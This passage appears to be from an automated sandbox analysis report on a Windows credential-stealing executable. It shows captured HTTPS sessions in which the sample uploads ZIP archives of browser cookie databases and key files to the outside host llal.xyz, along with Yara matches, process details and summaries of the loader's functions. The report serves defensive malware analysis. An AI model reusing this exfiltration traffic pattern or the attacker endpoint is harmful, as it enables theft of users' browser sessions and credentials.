bEAsUG1Vub2MBFx47FBkXEhMgGkUQCxQba25/b1tUXm1odF5RQW9LWlRFaGVyVlRlZGlnQlFLF3ZSdFkXHjsUGRcSEyAaQRALFAgbOBMgGBUSERZJWRAJIBpYQVRQXlIcVnhdFzgRFBkXTx8KGBUSEU8zFxITIBgVEF8WAxcQUVxkVgMCFhU9EhMgGBUSE0QbDRIRXGRnXVBZUFlVb1x3RVdDVRlkXVV0T1RAVGhleEJWclkVYUVVW1tXESwyFR
2024-06-01 15:42:04 UTC	1369	IN	Data Raw: 56 79 49 43 46 52 42 51 55 6c 74 55 55 46 6c 77 57 6b 56 55 55 46 42 56 58 46 39 62 62 56 74 5a 57 6c 70 52 58 46 68 57 58 6d 46 56 56 6c 52 64 56 78 73 62 4f 42 4d 67 47 42 55 53 45 52 5a 58 46 51 67 54 49 6b 38 42 45 44 73 55 47 52 63 53 54 69 77 79 46 52 49 52 46 45 49 39 45 68 4d 67 47 42 55 53 45 31 31 64 46 51 67 54 49 6c 52 61 56 6c 4a 58 55 31 31 51 56 32 68 65 56 46 6c 51 55 56 4a 54 57 31 4a 6f 56 56 42 57 56 31 5a 51 55 6c 35 58 5a 31 46 65 45 42 30 2b 47 52 63 53 45 79 41 59 46 31 77 54 44 68 6b 56 52 51 59 69 4d 68 55 53 45 52 52 45 47 7a 67 54 49 42 67 56 53 54 73 55 47 52 63 53 45 79 41 61 58 46 59 54 44 68 6b 56 57 6c 42 6d 56 45 56 62 58 31 64 4a 52 30 4a 58 59 31 52 63 58 46 52 56 56 56 70 54 58 57 52 52 58 31 46 63 57 6c 4a 56 56 56 30 Data Ascii: VyICFRBQUltUUFlwWkVUUFBVXF9bbVtZWlpRXFhWXmFVVlRdVxsbOBMgGBUSERZXFQgTIk8BEDsUGRcSTiwyFRIRFEI9EhMgGBUSE11dFQgTIlRaVlJXU11QV2heVFlQUVJTW1JoVVBWV1ZQUl5XZ1FeEB0+GRcSEyAYF1wTDhkVRQYiMhUSERREGzgTIBgVSTsUGRcSEyAaXFYTDhkVWlBmVEVbX1dJR0JXY1RcXFRVVVpTXWRRX1FcWlJVVV0
2024-06-01 15:42:04 UTC	1369	IN	Data Raw: 6c 42 56 58 46 35 68 58 46 39 62 56 46 78 54 58 31 4e 5a 59 68 6f 5a 4f 42 45 55 47 52 63 53 45 79 4a 57 46 77 67 52 46 6b 34 47 41 68 45 4b 47 42 55 53 45 55 6b 56 50 52 49 54 49 42 68 4f 4f 42 45 55 47 52 63 53 45 79 4a 52 55 52 41 4c 46 42 74 48 56 6c 52 69 57 31 35 56 56 56 70 61 57 56 70 61 61 46 52 5a 58 56 39 63 56 31 31 51 56 32 39 52 55 6c 70 57 52 46 42 61 57 52 45 73 4d 68 55 53 45 52 51 5a 46 78 42 64 49 67 49 56 45 45 59 46 43 42 55 34 45 79 41 59 46 55 38 64 50 68 6b 58 45 68 4e 37 4d 68 55 53 45 52 51 5a 46 78 42 61 5a 42 6f 50 45 68 4e 62 56 6c 78 59 58 32 4a 54 58 46 74 62 58 56 64 66 51 6c 35 75 55 6c 4e 55 55 6c 74 66 58 56 31 64 59 6c 35 58 56 56 42 62 57 68 55 65 4f 53 41 59 46 52 49 52 46 42 74 5a 45 41 6b 67 47 6b 49 44 41 78 59 7a Data Ascii: lBVXF5hXF9bVFxTX1NZYhoZOBEUGRcSEyJWFwgRFk4GAhEKGBUSEUkVPRITIBhOOBEUGRcSEyJRURALFBtHVlRiW15VVVpaWVpaaFRZXV9cV11QV29RUlpWRFBaWREsMhUSERQZFxBdIgIVEEYFCBU4EyAYFU8dPhkXEhN7MhUSERQZFxBaZBoPEhNbVlxYX2JTXFtbXVdfQl5uUlNUUltfXV1dYl5XVVBbWhUeOSAYFRIRFBtZEAkgGkIDAxYz
2024-06-01 15:42:04 UTC	1369	IN	Data Raw: 4a 5a 56 52 59 56 50 52 49 54 49 42 67 56 45 68 4e 61 47 77 30 53 45 58 63 4b 42 52 41 37 46 42 6b 58 45 6b 34 73 4d 68 55 53 45 52 52 43 50 52 49 54 49 42 67 56 45 68 4e 64 58 52 55 49 45 79 4a 52 56 31 78 55 58 6c 31 52 57 46 35 74 55 30 56 52 58 31 68 4a 55 6c 42 59 62 46 56 62 57 56 35 52 56 6c 35 61 58 47 5a 64 56 68 41 64 50 68 6b 58 45 68 4d 67 47 42 64 63 45 77 34 5a 46 55 55 42 4d 52 6f 2f 45 68 45 55 47 55 6f 65 4f 53 41 59 46 52 4a 4b 50 68 6b 58 45 68 4d 67 47 42 64 62 56 52 59 44 46 78 42 57 61 6c 70 55 58 6c 4e 56 55 6c 68 43 58 32 4e 51 57 56 56 5a 55 56 70 54 55 31 39 74 58 56 42 58 55 46 35 58 58 6c 39 62 62 52 6f 5a 4f 42 45 55 47 52 63 53 45 79 4a 57 46 77 67 52 46 6b 34 46 41 42 45 4b 47 42 55 53 45 55 6b 56 50 52 49 54 49 42 68 4f 4f Data Ascii: JZVRYVPRITIBgVEhNaGw0SEXcKBRA7FBkXEk4sMhUSERRCPRITIBgVEhNdXRUIEyJRV1xUXl1RWF5tU0VRX1hJUlBYbFVbWV5RVl5aXGZdVhAdPhkXEhMgGBdcEw4ZFUUBMRo/EhEUGUoeOSAYFRJKPhkXEhMgGBdbVRYDFxBWalpUXlNVUlhCX2NQWVVZUVpTU19tXVBXUF5XXl9bbRoZOBEUGRcSEyJWFwgRFk4FABEKGBUSEUkVPRITIBhOO
2024-06-01 15:42:04 UTC	1369	IN	Data Raw: 64 49 67 49 56 45 45 59 41 43 42 55 34 45 79 41 59 46 55 38 64 50 68 6b 58 45 68 4e 37 4d 68 55 53 45 52 51 5a 46 78 42 61 5a 42 6f 50 45 68 4e 66 55 6c 39 66 55 57 70 52 55 31 4e 61 52 46 42 63 51 6c 4a 77 58 46 78 54 56 45 52 65 58 46 5a 57 63 46 42 66 56 56 39 5a 57 42 55 65 4f 53 41 59 46 52 49 52 46 42 74 5a 45 41 6b 67 47 6b 49 47 41 78 59 7a 46 78 49 54 49 45 55 5a 4f 42 45 55 47 52 64 4a 4f 53 41 59 46 52 49 52 46 42 74 65 56 68 45 36 47 42 64 54 51 56 5a 56 55 31 4e 44 61 45 68 46 55 56 56 53 57 31 4e 63 58 57 39 66 55 56 74 61 58 46 78 57 56 46 39 70 55 56 4a 52 56 78 59 56 50 52 49 54 49 42 67 56 45 68 4e 61 47 77 30 53 45 58 63 4d 42 68 41 37 46 42 6b 58 45 6b 34 73 4d 68 55 53 45 52 52 43 50 52 49 54 49 42 67 56 45 68 4e 64 58 52 55 49 45 79 Data Ascii: dIgIVEEYACBU4EyAYFU8dPhkXEhN7MhUSERQZFxBaZBoPEhNfUl9fUWpRU1NaRFBcQlJwXFxTVEReXFZWcFBfVV9ZWBUeOSAYFRIRFBtZEAkgGkIGAxYzFxITIEUZOBEUGRdJOSAYFRIRFBteVhE6GBdTQVZVU1NDaEhFUVVSW1NcXW9fUVtaXFxWVF9pUVJRVxYVPRITIBgVEhNaGw0SEXcMBhA7FBkXEk4sMhUSERRCPRITIBgVEhNdXRUIEy
2024-06-01 15:42:04 UTC	1369	IN	Data Raw: 47 55 6f 65 4f 53 41 59 46 52 4a 4b 50 68 6b 58 45 68 4d 67 47 42 64 62 56 52 59 44 46 78 42 63 62 6c 6c 46 58 46 39 53 56 45 64 59 58 6d 4a 56 55 56 46 59 52 46 56 62 58 46 6c 74 55 6c 46 59 56 31 74 58 55 56 68 58 62 52 6f 5a 4f 42 45 55 47 52 63 53 45 79 4a 57 46 77 67 52 46 6b 34 43 42 78 45 4b 47 42 55 53 45 55 6b 56 50 52 49 54 49 42 68 4f 4f 42 45 55 47 52 63 53 45 79 4a 52 55 52 41 4c 46 42 74 55 56 46 64 73 58 46 6c 58 57 31 68 61 55 46 42 55 62 31 52 5a 58 46 4e 62 56 31 31 56 58 32 46 63 52 56 56 55 57 31 35 57 55 42 45 73 4d 68 55 53 45 52 51 5a 46 78 42 64 49 67 49 56 45 45 59 42 44 78 55 34 45 79 41 59 46 55 38 64 50 68 6b 58 45 68 4e 37 4d 68 55 53 45 52 51 5a 46 78 42 61 5a 42 6f 50 45 68 4e 56 57 31 74 51 55 6d 64 53 55 45 4a 55 56 31 64 Data Ascii: GUoeOSAYFRJKPhkXEhMgGBdbVRYDFxBcbllFXF9SVEdYXmJVUVFYRFVbXFltUlFYV1tXUVhXbRoZOBEUGRcSEyJWFwgRFk4CBxEKGBUSEUkVPRITIBhOOBEUGRcSEyJRURALFBtUVFdsXFlXW1haUFBUb1RZXFNbV11VX2FcRVVUW15WUBEsMhUSERQZFxBdIgIVEEYBDxU4EyAYFU8dPhkXEhN7MhUSERQZFxBaZBoPEhNVW1tQUmdSUEJUV1d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49710	188.114.97.3	443	7584	C:\Users\user\Desktop\0x001900000002ab40-59.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-01 15:42:04 UTC	161	OUT	POST /Up HTTP/1.1 Content-Type: application/octet-stream; boundary=---- User-Agent: MyApp/1.0 Host: llal.xyz Content-Length: 343 Cache-Control: no-cache
2024-06-01 15:42:04 UTC	331	OUT	Data Raw: 50 4b 03 04 14 00 08 08 08 00 41 5d c1 58 00 00 00 00 00 00 00 00 00 00 00 00 28 00 04 00 32 61 65 39 37 37 66 34 2d 64 62 31 32 2d 34 38 37 36 2d 39 65 34 64 2d 66 63 38 64 31 37 37 38 38 34 32 64 2e 74 78 74 01 00 00 00 7d 8d 31 0e c2 30 10 04 bf 62 6d ed c2 67 8c 93 5c 89 68 69 68 28 10 45 e4 18 64 09 c5 e8 8c 20 12 e2 ef b9 17 a4 dc d9 d5 ce 0f 23 18 4b 0c b0 48 60 6f f1 00 5f 71 2a 49 6a ab f7 b7 39 8c ad 24 73 ce f3 94 c5 1c a5 7c b2 e8 74 bb bf 59 3c c1 d4 51 e7 a3 df 51 6f 51 55 72 29 f3 54 bf cd 90 d3 83 97 82 81 5c 0c 51 83 80 83 1b f6 16 4d 29 f9 de 2d e4 7c c0 7f 05 50 4b 07 08 78 0d ad 13 79 00 00 00 00 00 00 00 9d 00 00 00 00 00 00 00 50 4b 01 02 00 00 14 00 08 08 08 00 41 5d c1 58 78 0d ad 13 79 00 00 00 9d 00 00 00 28 00 04 00 00 00 00 00 Data Ascii: PKA]X(2ae977f4-db12-4876-9e4d-fc8d1778842d.txt}10bmg\hih(Ed #KH`o_q*Ij9$s\|tY<QQoQUr)T\QM)-\|PKxyPKA]Xxy(
2024-06-01 15:42:04 UTC	12	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 0d 0a Data Ascii: --------
2024-06-01 15:42:05 UTC	519	IN	HTTP/1.1 200 OK Date: Sat, 01 Jun 2024 15:42:05 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tR8Mssm7Ki7RZPgL4IPOe%2F5elDZEZs%2FkkcjTwCKNqG2jcxg3rojTdsBAKtz5KeOqP6UU27%2FGIyCAiEdtRZVREFSKLOGvHskpJHOXQkBQ33tWLTLOwa0UF9FhBg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88d04fc1ab3b463e-DFW alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49711	188.114.97.3	443	7584	C:\Users\user\Desktop\0x001900000002ab40-59.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-01 15:42:07 UTC	252	OUT	POST /Up/b HTTP/1.1 Content-Type: application/octet-stream; boundary=---- User-Agent: Mozilla/5.0 (Linux x86_64) AppleWebKit/600.48 (KHTML, like Gecko) Chrome/50.0.2598.249 Safari/603 Host: llal.xyz Content-Length: 7745 Cache-Control: no-cache
2024-06-01 15:42:07 UTC	7733	OUT	Data Raw: 50 4b 03 04 14 00 08 08 08 00 42 5d c1 58 00 00 00 00 00 00 00 00 00 00 00 00 08 00 04 00 62 2f 63 38 2f 6b 65 79 01 00 00 00 01 20 00 df ff 83 61 a9 aa bf 68 a4 9b e4 1b d7 fb b2 ec de fd 5c 34 fb 85 05 64 18 43 bf c6 63 4f ec 62 b6 83 50 4b 07 08 24 24 a0 5d 25 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 50 4b 03 04 14 00 08 08 08 00 42 5d c1 58 00 00 00 00 00 00 00 00 00 00 00 00 0f 00 04 00 62 2f 63 38 2f 30 2f 43 6f 6f 6b 69 65 73 31 01 00 00 00 ed d9 6d 4c 1b 65 1c 00 f0 7b 29 d0 4e ca 81 d8 31 a8 c6 0b 5d 14 22 b4 16 36 b3 04 75 14 68 18 ac b6 d0 15 61 ce 78 9c e5 4a 8f b5 bd e3 ee ca 86 1f a6 88 26 bc f8 01 83 d1 e8 5e 92 39 59 c6 02 51 12 e3 1c 2c 18 67 96 48 36 19 1f 1a 33 93 99 ec 45 5d a2 c2 e8 62 36 be e9 73 d0 ae 50 4a fc b2 0f 5b f2 ff a5 Data Ascii: PKB]Xb/c8/key ah\4dCcObPK$$]% PKB]Xb/c8/0/Cookies1mLe{)N1]"6uhaxJ&^9YQ,gH63E]b6sPJ[
2024-06-01 15:42:07 UTC	12	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 0d 0a Data Ascii: --------
2024-06-01 15:42:07 UTC	521	IN	HTTP/1.1 200 OK Date: Sat, 01 Jun 2024 15:42:07 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wJlLzymQDyDfdn1GqHtv4l%2B6UAm3tZtY%2BWmxVO7kecdTHm8vCJUntcnlz8TV5GGkUsi%2FL9E9Ti0dHbLkGe7%2B4CounK3v28O1bPAM2ckkuYqrVh4TL1pASOlbcA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88d04fcf89946b53-DFW alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.10	49712	188.114.97.3	443	7584	C:\Users\user\Desktop\0x001900000002ab40-59.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-01 15:42:09 UTC	253	OUT	POST /Up/b HTTP/1.1 Content-Type: application/octet-stream; boundary=---- User-Agent: Mozilla/5.0 (Linux x86_64) AppleWebKit/600.48 (KHTML, like Gecko) Chrome/50.0.2598.249 Safari/603 Host: llal.xyz Content-Length: 11629 Cache-Control: no-cache
2024-06-01 15:42:09 UTC	11617	OUT	Data Raw: 50 4b 03 04 14 00 08 08 08 00 43 5d c1 58 00 00 00 00 00 00 00 00 00 00 00 00 08 00 04 00 62 2f 63 39 2f 6b 65 79 01 00 00 00 01 20 00 df ff 73 63 6b f3 82 92 4d 94 20 63 83 d3 73 4e 3d 58 3b d9 de b5 0a 65 ab 76 f7 97 ae bf 92 37 b2 03 50 4b 07 08 0f d2 4b b8 25 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 50 4b 03 04 14 00 08 08 08 00 43 5d c1 58 00 00 00 00 00 00 00 00 00 00 00 00 0f 00 04 00 62 2f 63 39 2f 30 2f 43 6f 6f 6b 69 65 73 31 01 00 00 00 ed d9 3d 6f d3 40 18 07 f0 73 9c 34 50 12 dc 0e 55 86 30 9c 5a 24 5a 29 bc 54 11 12 52 17 d2 d6 94 88 90 d0 90 a0 76 b2 ae ce b5 31 4d 6c f7 7c 2e cd d8 a1 03 4b 3f 01 5f 80 91 af c0 c6 04 1f 81 85 15 89 8d 11 5f 9a 36 a1 75 40 42 aa 84 aa ff 4f 72 62 df 73 39 bf e4 c9 29 7e fc 72 bd e2 48 4e b7 3d d1 65 92 Data Ascii: PKC]Xb/c9/key sckM csN=X;ev7PKK% PKC]Xb/c9/0/Cookies1=o@s4PU0Z$Z)TRv1Ml\|.K?__6u@BOrbs9)~rHN=e
2024-06-01 15:42:09 UTC	12	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 0d 0a Data Ascii: --------
2024-06-01 15:42:09 UTC	523	IN	HTTP/1.1 200 OK Date: Sat, 01 Jun 2024 15:42:09 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NkJ5M%2Fw3CQjh%2FErrNQlfuZOInLE1H%2BhMIoXHqy35TZTjug%2BdTXYRQ2vzKzcnZn4QHzNGJOojZ7LEVUI8YKN4D6NyzRmWsXbxeD29Q659UzZrFFn%2BrMoFTc4bqA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88d04fdcea646c51-DFW alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.10	49713	188.114.97.3	443	7584	C:\Users\user\Desktop\0x001900000002ab40-59.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-01 15:42:11 UTC	252	OUT	POST /Up/b HTTP/1.1 Content-Type: application/octet-stream; boundary=---- User-Agent: Mozilla/5.0 (Linux x86_64) AppleWebKit/600.48 (KHTML, like Gecko) Chrome/50.0.2598.249 Safari/603 Host: llal.xyz Content-Length: 9177 Cache-Control: no-cache
2024-06-01 15:42:11 UTC	9165	OUT	Data Raw: 50 4b 03 04 14 00 08 08 08 00 44 5d c1 58 00 00 00 00 00 00 00 00 00 00 00 00 15 00 04 00 62 2f 67 31 2f 30 2f 63 6f 6f 6b 69 65 73 2e 73 71 6c 69 74 65 01 00 00 00 ed d2 4f 4f d4 40 14 00 f0 b2 18 35 46 cf 5e 27 e1 20 24 1b a3 31 de 5d b0 2a 71 01 d9 5d 12 39 91 b2 54 a9 2e 5b 68 bb 82 26 04 12 13 bf 97 df c0 6f c2 d5 a3 e5 af ab 12 ce 26 fc 7e c9 4c de cc 6b a6 af af d3 5d 6e 67 55 1a de e5 c5 56 52 85 27 d1 61 d4 68 44 cf 42 88 a2 68 f2 6c 9c 9b a8 c7 8d bf d6 77 a3 ab 4d 46 0f 3f fc b8 77 f0 33 6a ec 1f 45 fb 47 07 df 23 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 ff c3 d7 a5 89 5b f7 a7 a6 26 be a5 55 b2 3e 48 b7 f2 2f 6b fd 3c ff 98 a5 e5 58 d8 98 eb c4 ad 5e 1c 7a ad d9 76 1c c6 12 61 3a db 08 f3 8b Data Ascii: PKD]Xb/g1/0/cookies.sqliteOO@5F^' $1]*q]9T.[h&o&~Lk]ngUVR'ahDBhlwMF?w3jEG#[&U>H/k<X^zva:
2024-06-01 15:42:11 UTC	12	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 0d 0a Data Ascii: --------
2024-06-01 15:42:11 UTC	521	IN	HTTP/1.1 200 OK Date: Sat, 01 Jun 2024 15:42:11 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9nM8ZFdamjNEg%2BAJ0Cbc0DZlAFqrDWpDvS%2Fl1mIhvDsUmOX5i9mq6%2FzebIQpdgHmL20K5Aklgr0Cg1xm3r%2B6o7hF1es9hlcmPzJq2LsqqU7B9N3ZscCD3Hw7ag%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88d04fe9d8732cdf-DFW alt-svc: h3=":443"; ma=86400

Target ID:	1
Start time:	11:41:50
Start date:	01/06/2024
Path:	C:\Users\user\Desktop\0x001900000002ab40-59.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\0x001900000002ab40-59.exe"
Imagebase:	0x820000
File size:	10'445'744 bytes
MD5 hash:	889CC88BCA04E05C46D9E74636BAEE19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1722897393.0000000008297000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1722996754.00000000082AB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.1725697054.00000000082AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.5%
Dynamic/Decrypted Code Coverage:	18.8%
Signature Coverage:	24.7%
Total number of Nodes:	308
Total number of Limit Nodes:	11

Executed Functions

Function 00873E30 Relevance: 17.4, APIs: 3, Strings: 6, Instructions: 1638
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,0E137A00,4F54B209,-867C85AD,0094335A,..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type), ref: 008744A3
GetProcAddress.KERNEL32(00000001), ref: 00874DE8
VirtualAlloc.KERNEL32(-D602D136,00061E67,-000000015DE352F6,?,?,?,?,43B659F5,?,?,-867C85AD,0094335A,..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type), ref: 0087548D

Strings

<, xrefs: 008749D1
`, xrefs: 00874C1A
H, xrefs: 0087446C
db, xrefs: 0087436D
MW, xrefs: 00873E63
ve, xrefs: 00874DB0

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: AddressAllocHandleModuleProcVirtual
String ID: MW$<$H$db$ve$`
API String ID: 3695083113-1341802392
Opcode ID: d3ff322d2867a784d82855f612de5753b522fc3a78c9cacbe1949e0473d0c2e6
Instruction ID: 20f7611151aee07b9a699ca295c4861c0db79d9931ccb2cb558be9f20cc372db
Opcode Fuzzy Hash: d3ff322d2867a784d82855f612de5753b522fc3a78c9cacbe1949e0473d0c2e6
Instruction Fuzzy Hash: 5DB26977D793244BA74CEF79AC5A06A3572FBC0340342D22EE80AC7566DF344686B687

Function 00873F80 Relevance: 15.5, APIs: 3, Strings: 5, Instructions: 1543
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,0E137A00,4F54B209,-867C85AD,0094335A,..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type), ref: 008744A3
GetProcAddress.KERNEL32(00000001), ref: 00874DE8
VirtualAlloc.KERNEL32(-D602D136,00061E67,-000000015DE352F6,?,?,?,?,43B659F5,?,?,-867C85AD,0094335A,..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type), ref: 0087548D

Strings

<, xrefs: 008749D1
`, xrefs: 00874C1A
H, xrefs: 0087446C
db, xrefs: 0087436D
ve, xrefs: 00874DB0

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: AddressAllocHandleModuleProcVirtual
String ID: <$H$db$ve$`
API String ID: 3695083113-835828700
Opcode ID: d194a00aea2defdc5d5c64f1d0ccc3996ed8cd0b8515859d5e9b41935fba5f37
Instruction ID: 13e39951b2a665df633c909d5b9985978ff9f380b0be8d8728a2975ade783930
Opcode Fuzzy Hash: d194a00aea2defdc5d5c64f1d0ccc3996ed8cd0b8515859d5e9b41935fba5f37
Instruction Fuzzy Hash: 77A25977D783244BA74CEF79AC5A06A3572FBD0340342D22EE80AC7566DF3846867687

Function 059A0A87 Relevance: 11.2, APIs: 7, Instructions: 730memorynativeCOMMON

Download Yara Rule

APIs

NtCreateSection.NTDLL(?,000F001F,00000000,?,00000040,08000000,00000000,00000000), ref: 059A0B20
NtMapViewOfSection.NTDLL(?,00000000), ref: 059A0BC8
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 059A0F3C
NtMapViewOfSection.NTDLL(?,00000000,?,?,?,?,?,?), ref: 059A0FF1
VirtualProtect.KERNEL32(?,?,00000008,?,?,?,?,?,?,?), ref: 059A100E
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 059A10B1
VirtualProtect.KERNEL32(?,?,00000002,?,?,?,?,?,?,?), ref: 059A10E4

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID: Virtual$ProtectSection$View$AllocCreate
String ID:
API String ID: 2664363762-0
Opcode ID: ff471fed8362e1f6680916959444b0539dd2ef4160a15e649cb06b76fd5f0269
Instruction ID: 724f3ac0e114b60bf0c73e3f360bd0cf5b2cb7430d5fd6277dd5179061506953
Opcode Fuzzy Hash: ff471fed8362e1f6680916959444b0539dd2ef4160a15e649cb06b76fd5f0269
Instruction Fuzzy Hash: 8F425B72608341AFDB24CF64C848B6BBBE9FF88714F14492DF9859B251E770E944CBA1

Function 008E7610 Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 405
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReleaseSRWLockExclusive.KERNEL32(?,?), ref: 008E7B94

Strings

first, xrefs: 008E7A80, 008E7B3E, 008E7B6B

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ExclusiveLockRelease
String ID: first
API String ID: 1766480654-2456940119
Opcode ID: a84a8974e483c0f265fe890a463a2bbb60113d7390a06b50f6217a4d981121df
Instruction ID: 08e708dfd9ce5e7a18388e4d685340940bef4c3b72d6d0ae1fce955ea1b5229e
Opcode Fuzzy Hash: a84a8974e483c0f265fe890a463a2bbb60113d7390a06b50f6217a4d981121df
Instruction Fuzzy Hash: 47F1E2716083819FDB18CF29C884B2AB7E2FFC5318F19856CE9598B296DB30DC45DB81

Function 008F87E0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 80
